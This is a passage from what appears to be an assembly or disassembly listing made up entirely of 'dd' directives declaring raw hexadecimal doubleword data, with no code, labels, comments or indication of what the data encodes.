		dd 0ADF114B5h, 0F6155006h, 73E0B890h, 6153460Bh, 8BCF8065h
		dd 0E0E9FBh, 0D401A3ADh, 0FAFC81D1h, 0B5BE2700h, 2ED2A51Fh
		dd 6510354h, 15330B7Bh,	7A58A0D0h, 0AE61A200h, 0D08B96E6h
		dd 14E225B2h, 0DD68C00h, 7D0760A0h, 6EC49E2Bh, 0A9ADFC21h
		dd 24D8F6C8h, 3240C18h,	0EDBC0412h, 38D598C8h, 87A0053Dh
		dd 28D34E5h, 12909C6h, 41A83BA1h, 0EC9A5A56h, 0F01C05Bh
		dd 0CF88C91Dh, 48F23F1Ah, 0CDE748h, 2D7F38F8h, 93B22F1Fh
		dd 5E414800h, 0BD24B167h, 18775871h, 0DE272907h, 802D7552h
		dd 0BCE754DCh, 9D329E00h, 0E2821681h, 0A54800C7h, 27D13F78h
		dd 9E000FC3h, 0BD232CA1h, 0DD80C1h, 7E0A0B24h, 98BF2190h
		dd 65780F00h, 701CC831h, 51EF28F9h, 0ACB1818Fh,	0D56892h
		dd 3AA51646h, 0B424CBF4h, 0A71CF98Dh, 0D708F380h, 725C52Fh
		dd 0E20CBC58h, 5276F71Fh, 24C8805Fh, 2F00F4E6h,	188B8E56h
		dd 0DEF597h, 441A1BE3h,	0D502A661h, 7F28CA00h, 0B7DA42A4h
		dd 6AA700E0h, 0AA2F781Fh
		dd 3700F167h, 0C8BDE7Dh, 587263D3h, 59005894h, 2115AB68h
		dd 0FE00886Eh, 802B3433h, 77BEC818h, 1DC9002Dh,	174590F8h
		dd 0C98B46Ch, 0E0D38600h, 0C7D40326h, 22702E27h, 95888060h
		dd 797DFFF3h, 0EE063B00h, 5CA42AD3h, 906B1825h,	2ECA40C4h
		dd 31EC242Eh, 7FF78001h, 0B6D5FFAFh, 0C6862180h, 6605F50Dh
		dd 2167C100h, 0FA4CD34h, 0BF1101A7h, 83D64D96h,	0BDC830EBh
		dd 0F4002072h, 0DD349568h, 77B11D11h, 4B9E00A0h, 0C685DA24h
		dd 0D0003689h, 7E9B64CFh, 1ACE45h, 0AB56BDE4h, 0F5BB352Eh
		dd 8068A825h, 0AE3F5350h, 9240EC6h, 8340EBFCh, 0BE0281DAh
		dd 0FD844A00h, 6601C123h, 5F2D26E8h, 4E738098h,	8ACF1BE7h
		dd 5C1D6000h, 1F3878F5h, 0A28100CCh, 477BA7AAh,	0C0A07EBFh
		dd 1073FFE7h, 0FFED048h, 667D778Bh, 13D8EEB0h, 40725FACh
		dd 1FCB4AC0h, 8C92A0ABh, 8034EC03h, 0C88BF939h,	4DDE2168h
		dd 7103089Ah, 1C5869D9h, 0D51FEAA8h, 80CA8538h,	971462C0h
		dd 0C004BA89h, 5E30A5B0h, 93A00635h, 0AE0B4456h, 24291C6Dh
		dd 30A29990h, 0E53A6F00h, 0D1E2A267h, 26AF631Fh, 4D79F4C1h
		dd 308022D4h, 0BB046912h, 6B01BF39h, 0E83AA243h, 747025C6h
		dd 31CB0092h, 0F0EB145Fh, 8C004F4Dh, 0F6D673EDh, 175B53h
		dd 0A183BD7Ch, 0E64036E1h, 89264712h, 8C0D5400h, 30116887h
		dd 9E9E20Eh, 3700B6B2h,	8A6FD467h, 4E0F9F8h, 7E25742Dh
		dd 86848043h, 2C00ABF7h, 7FF5051h, 0AA69D6h, 0F2933BAEh
		dd 202BF614h, 80E70A14h, 4BB305B4h, 7AC0CD19h, 397D5Fh
		dd 32F0357Ah, 8AB1476Dh, 0EC62960Bh, 0EB403F6h,	0F3BAC05Ah
		dd 1E150F81h, 0DD02BD3Bh, 0B0801A2Dh, 23DBCF49h, 6A65140Bh
		dd 6B37004Ch, 1F346CFDh, 8696B091h, 0D0BFA5DDh,	60D7BE16h
		dd 6C0E1212h, 57F48354h, 0ED738888h, 0A97AB4h, 0E63D4979h
		dd 0E2DEF223h, 0B72B2600h, 1DE13015h, 0CE8800C1h, 0D8B3C648h
		dd 0FE00DB7Ch, 0E28919F4h, 60FCC867h, 419598C3h, 200C550h
		dd 0C45431D6h, 1945C55h, 26E4A5AFh, 0C72A8C86h,	427CD181h
		dd 0F8808F8Ch, 0AACE50B8h, 6C244Ch, 7DD7E5A4h, 4210DAh
		dd 82F5D5EEh, 286D197Ch, 86B47A1Ch, 0C1184C80h,	7CAEE26Ch
		dd 0C57D0033h, 0EE5B6E75h, 1500EC5Ch, 0FE91B288h, 72A39AFh
		dd 0BDB067D6h, 852440DBh, 0A900130Ah, 0EFDE220Eh, 12753CB9h
		dd 36DFD8h, 0F6FBE680h,	27CB8F2h, 80219A3Eh, 944B7D0Ch
		dd 269138A7h, 3489F6Ch,	8969EBA5h, 3A9D96E8h, 0EF4FDE0Bh
		dd 576020D6h, 90FA5018h, 61980000h, 0E624D04Ch,	0B254BFh
		dd 9327B900h, 0EE2296C2h, 0A3312CFEh, 2B1B0426h, 0D44B81DCh
		dd 0C4BC4C3h, 26FA5E00h, 0D268E59Ah, 0DC6E273Ch, 8B382C80h
		dd 0DD0FCD4Ah, 20632C04h, 990BC6BEh, 70123AF0h,	8A4828F0h
		dd 53E300B0h, 6A9F0F63h, 5700077Bh, 0BB012CFFh,	0F5DEF19h
		dd 43E2B7AEh, 9CC32E80h, 0AC076D3h, 8B592A5Fh, 49201CEFh
		dd 0EC84C0D4h, 7D7AAA28h, 5BF4327h, 0C8B2E32Ch,	0D3D7490Fh
		dd 0FE1689A0h, 0BEF64158h, 0B0E229C9h, 20C844h,	31CEEEAAh
		dd 0C1F62BC2h, 2F452112h, 0ED1D0B4h, 0B2128D57h, 0FCBAD7A0h
		dd 8676FBEEh, 0E1018400h, 17E87975h, 715C00AEh,	9ACB8511h
		dd 0F9003763h, 0DA519D64h, 3068FF0h, 0BAE41C30h, 2CA8A45Fh
		dd 6512BB11h, 58D7EC70h, 0C0A542B3h, 3C6F9740h,	0D603514Ch
		dd 0F9EB9C84h, 0FCAF903Eh, 94127374h, 9CD0E36Eh, 0C4E95CC7h
		dd 0B1386749h, 0F608808Ch, 0BFAF3FF4h, 16EA074Ch, 80390AE2h
		dd 689C8380h, 0CF59DF60h, 541A14Ch, 0CE8BECD6h,	3B489077h
		dd 0A9014035h, 9225E8B4h, 0B67085CFh, 3DA8A96Fh, 3C742081h
		dd 4003A20Fh, 3FAEF50Ch, 8878C160h, 1EEE704Bh, 13927h
		dd 47900257h, 0A100FE6Dh, 752C1E61h, 77F6B8A9h,	80C9C35Bh
		dd 9800D1B9h, 53A7D021h, 0E89BA2A8h, 35C7120Eh,	8A2CB0F9h
		dd 7167B900h, 0F5EEEDCFh, 3729F8E5h, 7049DAF6h,	4FB92AAAh
		dd 332039E3h, 0E062484Bh, 3830173Dh, 2C83348Dh,	484CE7AFh
		dd 3A3CBC9Ch, 7B4902C5h, 5C8FEF29h, 1AF60C2Ch, 0E90FE008h
		dd 84D66877h, 0C4B0A84Fh, 3D4E01C7h, 0AEB50943h, 1258EC2Ch
		dd 0A421F003h, 0F82877D5h, 98D18837h, 739A0026h, 5037299h
		dd 0A00016DCh, 46088CCFh, 7D75ACB3h, 14A80007h,	0D7C4CC34h
		dd 3F017399h, 32576A4Eh, 0A0F354F4h, 632845h, 0C7EA090Bh
		dd 9DF72410h, 0ED570A00h, 925E9EC9h, 0C4C80128h, 83308133h
		dd 0EFABFBE4h, 5E0D11F0h, 0BCA3F500h, 1E98ED64h, 0BF20001Fh
		dd 97E846BAh, 0E0014807h, 99D89D77h, 0E1D4408Ch, 0D3810064h
		dd 48FD068Eh, 0A100734Bh, 8CC95949h, 1A0021Fh, 0AF71239Fh
		dd 0D9518231h, 7C503136h, 782DB928h, 0D704A57Ch, 982AF583h
		dd 0DE9CE073h, 0A80795F4h, 7A488FCh, 0F5BD5F01h, 1E2A4664h
		dd 0A0C4BBBCh, 0DAEF14A1h, 0F7215824h, 10D412EEh, 4C89BF7Dh
		dd 0F1447E08h, 912284B8h, 82042BDh, 100B3D66h, 0B92C846Ch
		dd 11B1144Fh, 902137B8h, 90B56008h, 45578408h, 3B428448h
		dd 38FC22CEh, 2442D922h, 0CCBA2128h, 4311D012h,	0EB841C08h
		dd 2284C408h, 40424D98h, 21C98611h, 472B08B8h, 9DFF488h
		dd 0EC4014EAh, 9004899h, 8CC518DDh, 0B9FCA81h, 1A320610h
		dd 50CBD0A3h, 0BA212AD0h, 0B9902E07h, 91F06F3Ah, 4B05396Bh
		dd 5948006Ch, 28CAAE3Fh, 0F460154Ah, 0F422AD8Eh, 9AC3FE3h
		dd 68A7390Bh, 0E79F6001h, 29AEE0BEh, 0A4300C01h, 0F8B312B9h
		dd 302468F5h, 0A00E1315h, 2F84006Eh, 56A121EAh,	85039375h
		dd 0B281DBBFh, 277AD867h, 0FEFF172Ch, 40781FB6h, 6247D661h
		dd 1E006C94h, 564468A8h, 0FE87D2A2h, 38FD009Eh,	7CBD204Dh
		dd 0D726775Ah, 1540A47Eh, 26B4EE21h, 3CC51952h,	80DC442Ch
		dd 6605402Fh, 1E02CA34h, 0AFF7F9B0h, 842056A9h,	0A15D327Ch
		dd 1F0828ACh, 40A56A2Dh, 7D39828h, 15BF66D0h, 1102708Bh
		dd 5500A530h, 19BAEA76h, 144F42h, 7705ACD5h, 0EFC47E6Dh
		dd 0F7E0CA00h, 0B6093FEBh, 27A1006Bh, 35E51A7Ah, 0BC37CFA2h
		dd 3D87B022h, 0A5B05387h, 0FE4F570h, 0D0E78968h, 0D8D2A121h
		dd 0B20D2052h, 80C1FB00h, 0C75598C9h, 0E1B60002h, 7F7D9922h
		dd 5800C005h, 698A50F0h, 7D980C2Ah, 8D72163Ah, 0E01C02AFh
		dd 0ECE9CC33h, 8C012E4Fh, 0BB9228BCh, 0AFD475C1h, 9F3B0081h
		dd 0DA2EA30Eh, 0D0009DF2h, 17638B5Eh, 0ECE4240h, 37D887C0h
		dd 0B0E6A01h, 0C6F4709Ch, 7B005AFEh, 51DB3641h,	2C4F9AFh
		dd 9C551FB7h, 8CD0D8BBh, 5EB09000h, 5D0544DCh, 0AD7A0328h
		dd 2063FB1Dh, 9E7D80E7h, 0C501DCD6h, 6ACE9692h,	0DC65A758h
		dd 0EFECDBE9h, 0BF360013h, 0E0D2C6F3h, 0B7002AE5h, 0C18C9BAAh
		dd 312D620h, 0F2093A67h, 0C78AC5C0h, 310BEC80h,	7800452Dh
		dd 0BE5F62A3h, 0D72B0Fh, 0A0EB4F68h, 9A9DDDE3h,	0EC00CB90h
		dd 0DA41D9A5h, 9C9A8C7h, 0C8A73AA6h, 49CFECE0h,	22DD63Eh
		dd 0FE3F6FD3h, 134660F7h, 0A7512844h, 87E800E0h, 0A1E4373h
		dd 10071F7Ah, 944C0CA8h, 668971B0h, 0F0DC002Eh,	0A4E4533Dh
		dd 0BD00DD9Ch, 3863C22Ah, 1CD95F7h, 7AE53A97h, 49CCF36h
		dd 21EB00A8h, 417A819Ah, 0F8194D04h, 937F3647h,	293BD700h
		dd 0E0E79949h, 0AC2201CBh, 67A00DE8h, 0CE5DD478h, 0C119D00h
		dd 3EA97C71h, 5FB100F8h, 42D0B98h, 78074DBCh, 525B3579h
		dd 113D0E51h, 0B81B8940h
		dd 0F0EC0CE9h, 67EC48D8h, 62680800h, 8626D24Ch,	760100CDh
		dd 0DAE950Eh, 710BB148h, 529E2EBh, 780615Dh, 9C6B3Ah, 74ABF2C1h
		dd 7388669Ah, 4E7DAC00h, 0C3D8CB2Dh, 0B22A0784h, 49C69672h
		dd 0A8194800h, 0B1002990h, 48A2EACFh, 26418Eh, 0C19B352Bh
		dd 588524CEh, 8F3C5518h, 9A633EAh, 437A64BEh, 0ED213880h
		dd 0AD0098F9h, 55617154h, 0AE50DD1h, 4887C199h,	0CE4100FDh
		dd 8F293AAh, 88A2D702h,	0F0E86692h, 79520020h, 25DD3047h
		dd 5BF2A3BDh, 211C898h,	0E3134D40h, 80161659h, 1C49B0Ch
		dd 8E0143EEh, 6DA43D1Ch, 0C03CD39Fh, 3CAE87Fh, 0F8E972C8h
		dd 0C3D4ED56h, 0E6984FDCh, 0B0905BA2h, 686C9C00h, 0A1F8BA9Dh
		dd 8BC000CDh, 504E52DCh, 0A90487C8h, 0C45110E3h, 27FF53C0h
		dd 72FFED9h, 0E21E4C06h, 0F896B042h, 0EA06232Ch, 714E09Fh
		dd 0AA4D0080h, 501698Dh, 49168280h, 0EC05111Ch,	2888AE56h
		dd 547959h, 95977B44h, 3379FE89h, 5000BA7Eh, 5C22E260h
		dd 3B6A0A05h, 7A0452CFh, 0B851A718h, 29C400B8h,	84C8DA95h
		dd 63360082h, 0FEA5327Eh, 0A008D85h, 75AFA080h,	7A0C53E4h
		dd 3B6AFC92h, 0AA861B77h, 305DCACDh, 7E0E8600h,	1222D64Ch
		dd 0F5A00730h, 554D349Dh, 3EF8A802h, 135C00CAh,	5B23C732h
		dd 37F5Ah, 998DDDFh, 9719C36Ah,	0E832EC00h, 0B5642705h
		dd 12AE4F6Bh, 0C55400B0h, 9E99B8FBh, 1FD74800h,	246C8E4Eh
		dd 5F940115h, 9C10FB5h,	0C35030B4h, 0B853BB02h,	7433B20Ch
		dd 1FF100FCh, 254D9E6Eh, 57325200h, 0CF46C5DDh,	1A760064h
		dd 499F8101h, 7001E38h,	8B17F330h, 64F29Ah, 10624F89h
		dd 3CCCEA90h, 1E58A700h, 1C30C6F1h, 0C8010245h,	0B64ADCC0h
		dd 0CAC90E40h, 0E4944B00h, 685CC456h, 99540031h, 91FEDEDAh
		dd 0D1E5ED16h, 0CF04FC26h, 51C73400h, 3EC105F9h, 5F661C30h
		dd 371943AAh, 0FF903F8Eh, 240015B0h, 8C1AB597h,	0E21FD30Ah
		dd 495C011Eh, 938922A7h, 32002161h, 0B3FB07CCh,	0F6006252h
		dd 20465E5h, 20AB843Eh,	4A42276Dh, 520048D6h, 0B986D530h
		dd 5E5D0906h, 14508A65h, 562D0D73h, 0BDB0004Eh,	96433Dh
		dd 2EC56807h, 0AAEBB192h, 5577F70Bh, 200C8FE4h,	47FBD769h
		dd 0C87D052Bh, 0EA0E5A80h, 96A09h, 72826DBCh, 0DCEF017Eh
		dd 0EB316E9h, 47CEC9Fh,	803FEC2Fh, 2E7057ACh, 64B0DEh
		dd 0A278D67Ah, 0FE6EE51Bh, 8953EF1Ch, 339112C0h, 0F0A59B90h
		dd 941300EEh, 41854D3h,	6C00E6A2h, 4227535Ah, 93970h, 3B0CF799h
		dd 0F3A3A9FCh, 0AA216B1Eh, 50A8B01h, 49E0E94Ah,	6106072Ah
		dd 0F0C9F66Eh, 0FA7AF5DAh, 8767EF3Ch, 0D0101EC0h, 0DC0F8D10h
		dd 0A53400B0h, 6AFEF139h, 6400B787h, 1367DEA1h,	15114131h
		dd 0B4DA56ACh, 19447E00h, 40CA0902h, 0C99D9A25h, 10645988h
		dd 28AF00DBh, 522EA90Ah, 945C743Fh, 0B83D1CF4h,	24C3EF87h
		dd 7192605Fh, 503EFB16h, 2FDCB44Bh, 0E880A654h,	318A9B81h
		dd 0FF44F200h, 27900232h, 667900A5h, 0D43F204Eh, 26002BA6h
		dd 4FD9B1B4h, 0E21676Ah, 6C51352Ch, 14A6DA62h, 0D8BD7061h
		dd 0F7589A7Fh, 605727C4h, 18EB6Ch, 0CBA4404Dh, 0FE080D6Ch
		dd 75C120C0h, 7EDE97Ch,	0E5451536h, 4C5230A3h, 88B4AE62h
		dd 0CD063103h, 8E52F7D4h, 68FC6020h, 865D0067h,	4C3BD327h
		dd 0CB005512h, 8B711BC3h, 0E91A89h, 6BE66151h, 0FA0F50E8h
		dd 91008477h, 819B9E9Fh, 0F334EAh, 741B924h, 8097C2FEh
		dd 0CE4D8800h, 0C5D62A9Ch, 0CA9404C6h, 0EC30CF65h, 8064CF00h
		dd 18EC0A0Ch, 67960090h, 0D5115565h, 9B00DAE1h,	5E8DC374h
		dd 0F2F836B2h, 687F4838h, 0D706821Ch, 28DB00B0h, 178B760Eh
		dd 5EBB6200h, 0C1C91EE8h, 65060F3Ah, 0F6DD8Eh, 8A66A391h
		dd 0EF0F34BEh, 0E478FFh, 0B92FB725h, 0DD4D002Ah, 0FB8D7347h
		dd 371E3E2Bh, 0EC4C3D79h, 1F75865h, 0C5FA2938h,	0EC141F63h
		dd 0CEF40660h, 40CCC900h, 0A54F9BC7h, 0CBB0F30h, 4FFE722Fh
		dd 91C0AB1Dh, 0F9E863E1h, 1FEB6900h, 46057FB1h,	0C70E0035h
		dd 716D0926h, 4F78DCA9h, 97325F0Fh, 7F6960BEh, 0A5E842h
		dd 0ED35C9CDh, 71C2B155h, 803DD138h, 0C7B65CF6h, 6267Ch
		dd 1B1D978Dh, 0E26511E0h, 86848h, 7001F06Bh, 22935F5h
		dd 8E2B1F8Ah, 8280F978h, 0D956499h, 0D4930600h,	3EFA7955h
		dd 0A41A00C8h, 412082C5h, 6303AFBFh, 0AC7B2E1Eh, 0EFE3A7B7h
		dd 8C00F505h, 0ED865FDCh, 0C877E0h, 344246BEh, 4C5A5E56h
		dd 8E63983Ah, 20EB9AA1h, 0F3C771A4h, 11EE6002h,	0EA7C0CEFh
		dd 955DAB00h, 810E6921h, 0C0B30053h, 687EF192h,	741DB683h
		dd 7F80F30Ah, 2310995Fh, 8C70045h, 0F7399D2Ah, 2B001B1Ch
		dd 3B71D6F9h, 7D6B75h, 45F1485h, 7B0AC0BBh, 0F63CF300h
		dd 7F8EFB05h, 0DCF20BBEh, 6A0B11FEh, 7BE7A700h,	0ED0061A7h
		dd 1613AD20h, 367045h, 0BA188826h, 0DB5D372Fh, 293B8B00h
		dd 0FBA4EF57h, 2E38144Dh, 0C0C0A435h, 92FA7C02h, 0A1DBD60Fh
		dd 0CCD54C23h, 0BA4E00B4h, 49425882h, 1200AFA5h, 6E914377h
		dd 0E71BB8F9h, 619770E8h, 21876184h, 5050A62Dh,	2791D100h
		dd 1F67422h, 0E01557D0h, 0F8ED39C7h, 0B13EDCE9h, 0A1410025h
		dd 0E1D4E3E8h, 5FDE0212h, 36903926h, 1C10F8C0h,	0F97BC600h
		dd 0BF5B78EEh, 476D12A6h, 7965009Fh, 0D3FF6326h, 30A9C533h
		dd 0A4D480F0h, 0DBF0A0h, 0D7108F08h, 0D2131F48h, 0EB629F00h
		dd 4C95AD59h, 6B6600C3h, 542A53Fh, 8A4CAF47h, 853E4Dh
		dd 0A64A9E39h, 3D40432h, 1A4C50A5h, 87F055CAh, 0F103EAECh
		dd 4D31B20Dh, 0B98DE1A7h, 0C364DCh, 284E2569h, 0E06C5854h
		dd 0A4A95E1Ch, 17638183h, 68DA90A1h, 52510FD9h,	0B3C0D8C1h
		dd 0FF788245h, 5FD8A365h, 3243A980h, 75BEC54h, 3CD92F2Bh
		dd 0FBCFA0A6h, 0E048556Ah, 80A30024h, 0D32554A9h, 0CE860038h
		dd 8B59C6C8h, 0A700A516h, 734202ECh, 64D753h, 0BAAE3B28h
		dd 919289B7h, 0FE005676h, 37CC08DEh, 695072h, 32447368h
		dd 0B3CFC89h, 0AEA79E00h, 20D349B6h, 0C6C70E4Bh, 24A09CF7h
		dd 0EC6C23EDh, 75D26F00h, 2D4AA630h, 87D1012Fh,	170BCE5h
		dd 2CB8E3B3h, 1C00843Ah, 4683B65Dh, 7506EEAh, 38147398h
		dd 0B1666081h, 9E00C264h, 6375E301h, 283A6Fh, 0DA5449Ch
		dd 0FE94910Fh, 9D5AB900h, 479B8F8Ah, 0D1F70062h, 0C8D24D63h
		dd 8C00891Ch, 0BF2BF75h, 3D32D50Fh, 0EB8913FEh,	59002398h
		dd 33DC0E3Ch, 0BB07FDB0h, 267F035Ah, 0FE4924E0h, 5CCE07F4h
		dd 0E089C016h, 0E03ED17Ah, 0FB9E4200h, 147BB7Fh, 0F26400FCh
		dd 8B97DE4Eh, 0E5EC1927h, 37AD5403h, 0F83935EAh, 5028CEh
		dd 90E1C64Dh, 10830C2h,	80775300h, 0A2D58DF8h, 4F4600B0h
		dd 617F351Dh, 4D004145h, 80AC5663h, 0EF7473h, 505CADD4h
		dd 9C0CE26h, 0AF28CF00h, 0E6B2588Fh, 17900146h,	605F062Ch
		dd 1EA080FDh, 4F189E73h, 44720376h, 143FBF0h, 0CCB06CCBh
		dd 2900482Fh, 96A6AEBCh, 0EFEF5887h, 2534830h, 26542EB6h
		dd 83E01076h, 7A07886Ch, 3D369368h, 0D66DCB00h,	72D900ECh
		dd 0A06C563h, 4600DFEEh, 0F983EAB1h, 6DB332h, 0F7709752h
		dd 9DFB1DB6h, 0E237ED01h, 0EB276BCDh, 4080B0C1h, 1D2662D9h
		dd 4605A360h, 52172E2Bh, 450A5780h, 43AB03EEh, 4AE322A7h
		dd 0AC80D0B4h, 3B00E127h, 0D260DC65h, 70A2D50h,	48D82B32h
		dd 3C71E3C1h, 0CF7B4780h, 0C6D2731Ch, 5EB5DD83h, 0E6429804h
		dd 82EB13E8h, 0E59000C4h, 0DCFA990Eh, 0D8DB3203h, 0E821D7F7h
		dd 1EDEAFDh, 17C1A4EEh,	80BC4272h, 74C6880h, 0A3AFF3h
		dd 0F5B069CCh, 812C39F8h, 0E400F2F8h, 0C1A73385h, 0F02E890Fh
		dd 0C4FA1C7Bh, 7079712h, 0B0183F82h, 0F90CC327h, 0D116BB00h
		dd 0BAC5883Ah, 0F25F1C2Eh, 7AE93E7h, 808FC778h,	1BC293D7h
		dd 42841700h, 0E0B9179h, 0D941805h, 0EF6760F8h,	0BBAF2107h
		dd 40E0C8E2h, 48C978A7h, 1372EB22h, 0BFA1B4h, 694EA0D1h
		dd 2509A79Fh, 810848B3h, 5A07C02Eh, 60B13CF4h, 3B492834h
		dd 0F8028350h, 5E2118C7h, 1EE62D5h, 0E9BB6BB8h,	6167FCh
		dd 0F16A9F55h, 0AB3586E3h, 0A8ACBC00h, 16310453h, 0D600023h
		dd 87897268h, 8C14B837h, 0BA4D06Ch, 801CA028h, 62A42C99h
		dd 0B07A04h, 0AD3D7FAEh, 0F3B90D29h, 6BDCB200h,	4EC9F626h
		dd 50730EB0h, 0DA0016D7h, 0A388A09Eh, 86D03402h, 0C013E3CDh
		dd 0B10B6F0h, 9F14FE76h, 0C5AF9404h, 36288082h,	931C354Fh
		dd 769F65BCh, 0A6128080h, 0F669EBAAh, 0D91C00B6h, 5BF73E2Eh
		dd 8000C3B7h, 9ADD5C72h, 3212476h, 8C7B941Dh, 0C9760950h
		dd 3E783C07h, 85098870h, 0D400148Dh, 0D099164h,	8F1D02E1h
		dd 89CF4097h, 0D70B28C4h, 808BBB2Ch, 0E3F40287h, 0C887AFFh
		dd 127F6A1Ah, 0DC0352C8h, 9760260Ah, 7B31CFEFh,	54FC8729h
		dd 94400744h, 0A32493DFh, 0F0B0D4E2h, 580EE815h, 61F50726h
		dd 6D3CC0BFh, 1CD24C30h, 9FEEA508h, 30F6C34Bh, 0B0B72DC2h
		dd 0D3D04EFBh, 106B3F07h, 5763E78Bh, 0A484E8A5h, 275100E1h
		dd 0B226FDA9h, 0C800DC49h, 8B6E7F4Ch, 1EA33360h, 0BC0FCB7Ch
		dd 497E1402h, 9C40A837h, 1D005B0Dh, 0D319EC69h,	0FA0510E3h
		dd 2726033Dh, 0A90E23D4h, 99F72800h, 5C47600Ah,	0EC6AECDCh
		dd 964E0058h, 63FBEA61h, 0D37E01E9h, 0FE59A200h, 19CE5D3Ah
		dd 14D9004Fh, 0DEE6C7D2h, 9E00E5CBh, 2BFC7A4Dh,	1E8F9B09h
		dd 0C013C229h, 0A5A67E3h, 38012DD0h, 5F97CD9Fh,	0AFD4624Dh
		dd 0FBB9001Fh, 579D6D34h, 2A58EC4Fh, 815B3CE5h,	48B265F2h
		dd 3C805060h, 0FA73EF62h, 54017DF8h, 9B37FB6Eh,	3FF884E4h
		dd 0F67F00FEh, 93DA5248h, 5700226Dh, 9482D84Bh,	38B29F84h
		dd 0D7071CA6h, 0E140F324h, 0C8D42D33h, 5B0037FCh, 0E5540705h
		dd 3F2B399Dh, 8802459h,	0FEFC8E2Ah, 42269AF1h, 2900847Ah
		dd 0AD5DCAEDh, 25520375h, 0A1D6F915h, 2C5B8688h, 21CE1E00h
		dd 0D0B4B2A6h, 0A7DE00EDh, 0F066725Ah, 0EE02F3C1h, 393F4A77h
		dd 0A3A8C1FDh, 2B79EF0h, 2922C72Eh, 5450B872h, 67E58000h
		dd 3597E6E4h, 0DAFD0017h, 3F0255A6h, 2E3EA873h,	0D1C60F30h
		dd 0C5240134h, 12CC57AAh, 40D22Bh, 18E39AB0h, 0EC00AB1Ch
		dd 7CC4F4A5h, 1C8EDF54h, 67C3FBh, 7BDD0322h, 75006B41h
		dd 0EA11E251h, 747A9Dh,	70E66467h, 45E94D76h, 0ED7905E8h
		dd 3C8804Ch, 7A922812h,	0A0B100C7h, 77C0C6C3h, 9B03A4B7h
		dd 0B506029Eh, 8399A8E2h, 7F29C2CDh, 10B02132h,	7600FE86h
		dd 250E98D0h, 45D343h, 33DFEF9Bh, 0A9C6462h, 0D7B0191Dh
		dd 20818C5Dh, 9BB3A8CCh, 0CB8BDCh, 0F6824C91h, 6762BF85h
		dd 0F609A01h, 0C3DFCFA4h, 0B87C4BDCh, 0ACD200B0h, 35E69642h
		dd 2E09CD8Bh, 6016AE39h, 0CC991C18h, 26580F80h,	0B0006DEEh
		dd 8B126A79h, 0C7E3EEh,	454DBBBAh, 0CD584351h, 31C64700h
		dd 0EDDAB57Bh, 9C10C0CCh, 0F1C17CAEh, 6AB9EC00h, 5F35CEF6h
		dd 3D9B008Dh, 66E3E9D0h, 0F5048FB4h, 2406F0ECh,	918B98C0h
		dd 94B050DEh, 152200B1h, 7B3D197h, 2C052AF8h, 9AF31944h
		dd 64A18891h, 66D19840h, 0B03F54F6h, 94A80004h,	0C3C8699Bh
		dd 60015B4h, 0AE5292B0h, 3FF8B5A0h, 0ADB99A65h,	7F48FE30h
		dd 12029958h, 6C9B0B21h, 0AF948056h, 1460335h, 7E04058Eh
		dd 80142784h, 4AC731C0h, 15729Dh, 0E0A89AD7h, 0B3953FEBh
		dd 5A1644B8h, 0C100F407h, 0C1D041D5h, 0C08101EEh, 462AA8A4h
		dd 0B5C99049h, 0CD29F0D0h, 0C63E8364h, 0CBC8B4C1h, 545111EBh
		dd 2D428BBh, 0FDE79C2Ah, 0D49C809Dh, 1E61B57h, 80B2BD50h
		dd 0C811A384h, 690054ABh, 1E79338h, 709AECFEh, 0B704009Eh
		dd 36CA8960h, 7238C84Ah, 46E10AB4h, 9F0088F1h, 0C0A8788Dh
		dd 408A000Ch, 0EC486E7Ah, 0B82C5277h, 54800C25h, 0BC62DF9Fh
		dd 1D04F80Ah, 810C9066h, 0D3248A03h, 15C38C0h, 1FA72593h
		dd 0C0CE7A65h, 19DD4F30h, 11CEBAC9h, 97848008h,	39FF4423h
		dd 13DF0257h, 0B2D70B10h, 0FEF8C0E8h, 4038F3h, 451E60D8h
		dd 0E0E6FF1Fh, 28B87557h, 3DC69ECh, 15DB19BFh, 31000DFBh
		dd 0C45D8EBCh, 0A013E0D5h, 0E3DBAA0h, 3205B7E1h, 3509005Ch
		dd 0D422F88Ch, 0EF0056E4h, 0F975A9A5h, 2B8C131h, 0E760F391h
		dd 691609h, 77844CEFh, 48ECB058h, 0ADAC00C0h, 0F6539357h
		dd 279D00C3h, 0B1223FFEh, 8E3CEB8Bh, 1F02F40Ch,	4D41A815h
		dd 25B8E0EFh, 0CAB400B1h, 9FBB6578h, 6200B02Dh,	9BA7F24Ch
		dd 3F7ED7EDh, 7F0088C5h, 0FD4903B1h, 2008670h, 8B0FE5C4h
		dd 1E4B7DDBh, 13D3EE90h, 0CE10FACh, 0AB3E2540h,	20B0BDE6h
		dd 0F92A9C00h, 132062C2h, 0B57F00FCh, 0B77D3B4Dh, 98009509h
		dd 221B2FD3h, 5CC5085Dh, 0D0263C3Dh, 64CC1CDFh,	40480158h
		dd 0E43BFA3Ch, 0A33D82C3h, 204E0F50h, 0ACC922DDh, 3D808059h
		dd 96460Bh, 13CFEE69h, 0A03777F1h, 0BFBE7900h, 7054C428h
		dd 432E1266h, 1604000Fh, 0C1C8D6B0h, 0EEABBA00h, 1EE1D51Bh
		dd 0F7230119h, 0D9512186h, 582D50h, 52A6F14Ch, 0BF8C5A4h
		dd 63FBE7Eh, 0DFA78700h, 5D3B89C6h, 0AD01FC69h,	7962220Fh
		dd 83CEED3Eh, 883B8FF0h, 5C70F482h, 2400DBF2h, 0B2D22C52h
		dd 4A7A26C6h, 63C85F0Fh, 0AC01BDF4h, 294C5BB0h,	682AF0h
		dd 5E75A5FBh, 431FDCBCh, 2C6F312Eh, 0B0550301h,	4E605706h
		dd 1980F782h, 2AE89444h, 8A001186h, 4504E77Ch, 0B312C4h
		dd 5C3BE5F3h, 4B1E63A0h, 98486400h, 0B2E1EEF0h,	0ACAD4CC8h
		dd 452BA100h, 8C5E9D4Ch, 75F3271Fh, 0ADC02E1Eh,	0CF4D2AF9h
		dd 0A3209A1Ch, 0C035FA58h, 6BCCD66h, 0C785C325h, 0C62E2107h
		dd 3202E7B7h, 0C015D4C2h, 33CAB84h, 5E63E17Dh, 0CDC8694Ah
		dd 0A0B209F9h, 0C2D88000h, 0F8C8926h, 0B40E0075h, 0B8C75FCFh
		dd 0B4A06A1Eh, 0B50C119Ch, 0DC693F45h, 0C6A200F2h, 67BCE9EEh
		dd 64996B6Ah, 7E87AD40h, 99D8608Eh, 0D55076CCh,	6B559213h
		dd 8E3E7043h, 0C766C091h, 8D883C1Ah, 4E142989h,	1C07C882h
		dd 36F5F448h, 0D7C7100h, 63250F9Dh, 5890D444h, 3B287809h
		dd 67A1F490h, 0A88990B1h, 8C14251Bh, 95831C46h,	0B8740081h
